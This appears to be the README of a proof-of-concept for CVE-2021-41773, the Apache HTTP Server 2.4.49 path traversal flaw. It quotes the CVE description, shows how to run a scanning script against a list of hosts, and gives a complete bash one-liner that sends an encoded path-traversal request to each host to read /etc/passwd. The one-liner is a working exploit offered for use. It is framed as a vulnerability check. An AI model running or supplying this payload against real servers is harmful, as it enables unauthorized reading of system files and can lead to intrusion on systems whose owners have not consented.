CVE-2021-41773 PoC — Path traversal and file disclosure vulnerability in Apache HTTP Server 2.4.49

Title:Path traversal and file disclosure vulnerability in Apache HTTP Server 2.4.49 (CVE-2021-41773)
Description:A flaw was found in a change made to path normalization in Apache HTTP Server 2.4.49. An attacker could use a path traversal attack to map URLs to files outside the directories configured by Alias-like directives. If files outside of these directories are not protected by the usual default configuration "require all denied", these requests can succeed. If CGI scripts are also enabled for these aliased pathes, this could allow for remote code execution. This issue is known to be exploited in the wild. This issue only affects Apache 2.4.49 and not earlier versions. The fix in Apache HTTP Server 2.4.50 was found to be incomplete, see CVE-2021-42013.

# CVE-2021-41773 Proof of Concept
Quick and dirty proof of concept for checking if hosts vulnerable to CVE-2021-41773

```
python3 full.py hosts.txt
```

Where hosts.txt contains your targets:
```
domain.com
blah.com
192.168.1.1
```

It'll print out if the host is vulnerable or not vulnerable. 

Python version of bash:
```
cat hosts.txt | while read host do ; do curl -k --silent --path-as-is --insecure "$host/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd" | grep "root:*" && echo "$host \033[0;31mVulnerable\n" || echo "$host \033[0;32mNot Vulnerable\n";done
```



Enjoy!

 [4.0K]  /data/pocs/38b4e313b263c8b3a82d7092cf6d2ac82b710d81
├── [2.7K]  full.py
├── [2.2K]  poc.py
└── [ 576]  README.md

0 directories, 3 files